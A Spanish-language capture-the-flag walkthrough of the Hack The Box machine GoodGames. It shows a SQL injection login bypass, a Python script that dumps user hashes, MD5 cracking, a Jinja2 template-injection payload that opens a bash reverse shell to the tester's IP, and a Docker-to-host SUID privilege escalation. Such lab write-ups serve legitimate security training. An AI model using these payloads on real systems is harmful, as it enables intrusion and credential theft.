GoodGames

HackTheBox

GoodGames

LinuxLinuxEasy2 de marzo de 20255 min
Índice
Información Básica

Técnicas vistas

  • SQLI (Error Based)
  • Hash Cracking Weak Algorithms
  • Password Reuse
  • Server Side Template Injection (SSTI)
  • Docker Breakout (Privilege Escalation) [PIVOTING]

Preparación

eJPTeWPTeCPPTv3OSCP (Escalada)

Reconocimiento

Empezaremos con un reconocimiento a los puertos abiertos de las máquinas, para ver que servicios y versiones corren.

Vemos que solo hay un puerto abierto, el HTTP, y que tiene por detrás python3, vamos a hacer un whatweb para ver que más encontramos.

Confirmamos lo mismo, vamos a ver que hay en la web.

Parece una web de juegos, vamos a añadir su dominio al /etc/hosts, y seguir investigando a ver si hay algo interesante. Vemos que hay panel de Login y de Registro, vamos a crear una cuenta.

Explotación

Vemos un formulario para poder poner nuestro email, pero tiene pinta que no funciona, por lo que vamos a seguir investigando por otro lado. Podemos intentar un SQL Injection en el panel de Login:

Nos lo impide la validación del email, por lo que podemos intentar hacerlo por consola.

curl -s -X POST "http://goodgames.htb/login" -d "email=' or 1=1-- -&password=' or 1=1-- -" | html2text
 
[GoodGames]
****** Login Successful ******
***** Welcome adminZelpro *****
Redirecting you to profile page...
Return to Homepage
*** Search ***
[search              ]
*** Sign In ***
Use email and password:
[Unknown INPUT type]
[********************]
Or social account:
Sign In
Forgot your password?
Not a member? Sign up

Podemos ver que funciona. Vamos a hacerlo con burpsuite para poder verlo en el navegador.

Vamos a ver que más cosas podemos encontrar.

También está usando VHOST por lo que lo añadiremos al /etc/hosts.

En este panel no podemos hacer SQL Injection, pero podemos volver al paso anterior y enumerar más información por si podemos encontrar información de otros usuarios o alguna cosa. Vamos a hacer un script en python.

#!/usr/bin/python3  
  
import requests  
import sys  
import re   
  
# in this case are 4 columns  
def make_request(url: str) ->None:  
for x in range(100, 0, -1):  
ress = requests.post(url=url, data={"email": f"' order by {x}-- -", "password": "test"})  
  
if len(ress.text) != 33490:  
print("the number of columns inside the table ", x)  
return  
  
def make_sqli():  
url = "http://goodgames.htb/login"  
  
sqli_data = [  
"' union select 1,2,3,@@version-- -", # database version  
"' union select 1,2,3,schema_name from information_schema.schemata-- -", # the databases  
"' union select 1,2,3,table_name from information_schema.tables where table_schema='main'-- -", # the tabales  
"' union select 1,2,3,column_name from information_schema.columns where table_name='user'-- -", # the columns  
"' union select 1,2,3,group_concat(id,0x3a,name,0x3a,password,0x3a,email) from user-- -"] # the whole content in that table  
  
for x in sqli_data:  
data = {"email": x, "password": "test"}  
  
response = requests.post(url=url, data=data)  
  
data = response.text  
  
value = re.findall(r'\>Welcome (.*)\<', data)  
print(value[0])  
  
def main():  
try:  
make_sqli()  
except Exception as e:  
print(str(e))  
sys.exit(1)  

except KeyboardInterrupt:  
sys.exit(0)  
  
if __name__ == "__main__":  
main()

Y vemos que ejecutándolo muestra:

Vamos a intentar crackear ese hash con john the ripper:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Y nos da como resultado superadministrador.

Hay un panel de ajustes en el que podemos modificar apartados de nuestro perfil y luego que se vean reflejados. Esto puede dar lugar a un SSTI (Server Side Template Injection), vamos a comprobarlo:

Efectivamente, podemos ver que es vulnerable. Esto puede dar lugar a una reverse shell, vamos a intentarlo con este payload:

{{ 
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() 
}}

Podemos ver que funciona, vamos a hacer lo mismo pero para la reverse shell:

{{ 
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.16/443 0>&1"').read() 
}}

Primero de todo vamos a hacernos la terminal interactiva con los siguientes comandos:

script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash

Además de obtener la shell, parece que somos usuario root, vamos a investigar un poco. Hay un usuario llamado augustus y en su escritorio vemos la user flag:

Escalada de privilegios

El problema es que en el directorio root no hay nada, parece que la root flag puede que esté escondida o que no esté aquí, vamos a investigar más.

Vemos que tiene la IP 172.19.0.2, por lo que la máquina real podría ser 172.19.0.1 ya que vemos que tiene Docker y normalmente la máquina real que genera el docker es esa, vamos a ver que puertos abiertos tiene con el siguiente comando:

for x in {1..1024}; do (echo >/dev/tcp/172.19.0.1/$x) &>/dev/null && echo "port $x open"; done

Vamos a intentar conectarnos por SSH a esta máquina con la contraseña de antes (superadministrator):

ssh augustus@172.19.0.1

Perfecto, ahora tocaría la escalada de privilegios. En este caso es un poco curiosa como se hace, porque tenemos un Docker con permisos root para la carpeta del usuario que corre el docker. Entonces si cogemos la shell del usuario augustus y desde el docker le cambiamos los permisos a root, y luego volvemos al usuario augustus, tendremos una shell con root:

Primero nos copiamos la bash al directorio de augustus y nos salimos de la conexión SSH.

Ahora desde el docker vemos que tiene los permisos de el usuario augustus (1000), asi que con el comando chown, la vamos a hacer nuestra (root):

chown root:root bash

Ahora si hacemos el mismo comando para ver los permisos vemos que nos pertenece:

chmod 7444 bash

Como nos indica esa s que ha aparecido, ahora tiene activado el SUID por lo que agusutus ya podría ejecutarlo aunque no fuese suyo.

Ahora una vez nos conectamos de nuevo nos aparece en rojo, vamos a ejecutarlo.

./bash -p

Ya seríamos root, ahora solo queda ver la flag:

Máquina comprometidaPwned! · ver logro en Hack The Box


Relacionados